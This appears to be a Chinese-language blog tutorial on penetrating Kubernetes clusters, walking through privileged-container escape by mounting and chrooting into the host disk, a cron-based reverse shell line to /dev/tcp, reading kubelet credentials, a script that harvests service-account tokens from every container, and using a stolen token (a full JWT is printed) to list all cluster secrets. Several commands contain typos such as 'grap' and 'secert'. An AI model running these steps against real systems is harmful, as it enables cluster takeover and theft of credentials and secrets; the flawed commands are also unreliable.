云原生安全渗透篇

文章目录

思路

拿到容器shell 进行docker逃逸横向移动拿到privileged 提权到子节点再去搞k8s集权里的pod 找高权限token

知识补充

kubectl 权限限制是很安全的 主节点master节点可以执行kubectl 但子节点不可以

子节点可以控制docker

dockerenv 文件为docker环境

在域渗透中利用hash进行不断的hash传递一直找到一个更高权限的hash

在k8s中利用token横向移动直到找到一个有高权限服务账户的token

横向移动

Docker逃逸

docker和容器本身是很安全的包括k8s如果开启了privilege模式或者部署的是很老的操作系统,因为容器会内部共享一些东西,挂载目录时是使用的高权限目录也会导致docker逃逸,脏牛提权

根据逃逸或者横向 直到某个子节点

子节点

直接在服务器上面抓去信息,然后越权,看本地能够访问到哪些pod,或者从docker容器中去访问,能够访问到的内部正在运行的容器,因为可以命令执行,看有没有高权限的token

通过kubectl 查看能执行什么命令 进去后将容器内部的token 拿出来

在k8s中 容器或者pod内部可以存放高权限用户的服务账户

找高权限token

未授权访问的k8s

api server 未授权可以接管集群

逃逸

前提条件需要特权模式 privilege模式

pod文件配置如下

将宿主机的目录全部挂载到容器的目录下,容器可以操作宿主机的目录导致越权

遇到这种情况直接挂载系统盘

开启特权模式在容器内挂载宿主机的根文件系统

在上述命令启动的容器中,运行以下命令来挂载宿主机的根文件系统

bash 复制代码
mkdir  /priv

mount -t ext4  /dev/vda0 /priv

将宿主机的目录映射到容器目录下

查看宿主机文件
bash 复制代码
kubectl exec 容器名 --ls -alt /priv/root 
查看宿主机的文件内容
bash 复制代码
kubectl exec 容器名 -- cat /priv/root/.bash_history
查看该容器在哪个子节点
复制代码
kubectl get pods -o wide

票据越权

在每个子节点用户在他root根目录中都有一个票据

基于票据越权

查看是否为子节点
复制代码
docker ps | grep apiserver
基于节点校验权限
复制代码
cat /etc/kubernetes/kubelet.conf

查看user关键字 如果是default-auth就是普通权限

如果是system-node就是集群高权限

master节点

node子节点

基于服务账户鉴权

基于RBAC去分配服务权限

情景一 子节点docker进入容器 或get doker shell 目录为可以挂载或者已经挂载 宿主机目录(特权模式)

查看是否处于容器内部

1.命令残缺

2.拥有.dockerevn

查看是否为特权模式
bash 复制代码
cat /proc/self/status | grap -qi '0000003fffffffff' && echo 'Is privileged mode' || echo 'Not privileged mode'

查看/proc/self/status文件中是否有0000003fffffffff 如果有为特权模式

/*挂载*/
复制代码
mkdir  /priv
df -h 
mount -t ext4 /dev/vda0 /priv

df -h 查看所有盘符挂载最大的一半就是主分区

docker环境中 查看挂载的目录

bash 复制代码
ls /priv

可以访问宿主机目录时使用chroot命令更改docker的工作目录

bash 复制代码
chroot /priv /bin/bash
或
chroot /priv sh
获取宿主机文件共享shell
  1. 用户添加用户
  2. /var/spool/cron/crontabs 计划任务反弹shell
    • */1 * * * * sh -i >& /dev/tcp/ip/port >&
横向移动
在docker宿主机中查看 k8s权限
bash 复制代码
cat /kubelet.conf/.kube/config
或者
cat /etc/kubernetes/kubelet.conf

#子节点执行

将该文件复制到当前目录方便操作

bash 复制代码
cp /etc/kubernetes/kubelet.conf ./

检测自身权限

bash 复制代码
kubectl --kubeconfig kubelet.conf get pods #查看该权限可以运行的命名空间
kubectl --kubeconfig kubelet.conf get pods --all-namespaces # 查看master节点的命名空间
kubectl get secrets --all-namespaces 
netstat -antp | grep apis
获取子节点容器中的token

进入容器

bash 复制代码
kubectl exec pod -- cmd
或
docker exec -it 容器名

token存放位置

复制代码
cat /var/run/secrets/kubernetes.io/serviceaccount/token
脚本
sh 复制代码
#!/bin/bash
# 提取所有容器ID 
docker ps -q | while read -r container_id; do
	echo "===容器ID:$container_id ==="
	token=$(docker exec "$container_id" cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
	if [ $? -eq 0 ]; then
		echo "Token 内容:"
		echo  "$token"
	else
		echo "错误:  无法获取Token 或 文件不存在"
	fi
	echo -e "\n==========================================="
done
测试token

查询master节点的serverapi接口

复制代码
netstat -antp | grep 6443

通过token进行测试权限

bash 复制代码
kubectl --insecure-skip-tls-verify=true --server="https://ip:6443/" --
token="获取的token" get secrets --all-namespaces

bash 复制代码
kubectl --insecure-skip-tls-verify=true --server="https://192.168.80.135:6443/" --
token="eyJhbGciOiJSUzI1NiIsImtpZCI6Ikx1Q3FMS1J2bXcwRlA0RGg3Z1NVMDhhOFc0Ri1WWFI5S2F
JbF9kRExTMzQifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby
9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNj
b3VudC9zZWNyZXQubmFtZSI6ImhpZ2gtcHJpdmlsZWdlLXNhLXRva2VuLTd2NnZnIiwia3ViZXJuZXRlcy
5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImhpZ2gtcHJpdmlsZWdlLXNhIiwi
a3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQudWlkIjoiZWViYzU2NWEtN2
Q0Ni00MDI5LTkxNDEtYjBiNDkwMDcyNWNlIiwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmRlZmF1
bHQ6aGlnaC1wcml2aWxlZ2Utc2EifQ.p2MDu_0kyAvreU_doDGpAamwkw1_utE-HSbFpVdlCIbo-
1gDdjTt7iVIGtfN5N4SYZ27UEy9CjQhEz7t_q61XUY23R1D4nehfOYvAcjDXNUhuPRoadDY9R1CwdbDZYs
ZuKSu46x88mWAtM5kHnYFVZz_tvVPUlZ-FCETlcn0NG8sBDPVjnJVxto3UxwaoMPW9mQUnAma7Zq7MhTDbD20EzfJ2HeZWeWe-
5j3ToGpfovSDmtdd4mp96qUAayGWVCxrHJKLrkg2edyAo2lP53kcU8UTOMeKR57UXMfy8RTix9kWvWd8Qr
OrTPBjTaU1qOlvyaJgLMnhI7K4jIgc0cXQ" get secrets --all-namespaces

默认kubectl子节点权限

bash 复制代码
kubectl --kubeconfig ./kubelet.conf get secert --all-namespaces 

kubectl --kubeconfig ./kubelet.conf get pods --all-namespaces
相关推荐
浩浩测试一下9 小时前
内网---> WriteOwner权限滥用
网络·汇编·windows·安全·microsoft·系统安全
Loo国昌10 小时前
【大模型应用开发】第六阶段:模型安全与可解释性
人工智能·深度学习·安全·transformer
乾元10 小时前
终端安全(EDR):用深度学习识别未知勒索软件
运维·人工智能·网络协议·安全·网络安全·自动化·安全架构
logocode_li10 小时前
OCI/CRI 双标准下:从 dockerd 到 containerd 的 K8s 运行时迭代史
docker·云原生·容器·k8s
安科瑞刘鸿鹏1710 小时前
高速路灯故障难定位?用 ASL600 实现精确单灯监测与维护预警
运维·网络·物联网·安全
天才奇男子19 小时前
HAProxy高级功能全解析
linux·运维·服务器·微服务·云原生
darkb1rd19 小时前
四、PHP文件包含漏洞深度解析
网络·安全·php
哆啦code梦20 小时前
2024 OWASP十大安全威胁解析
安全·系统安全·owasp top 10
网络安全研究所21 小时前
AI安全提示词注入攻击如何操控你的智能助手?
人工智能·安全
海心焱1 天前
安全之盾:深度解析 MCP 如何缝合企业级 SSO 身份验证体系,构建可信 AI 数据通道
人工智能·安全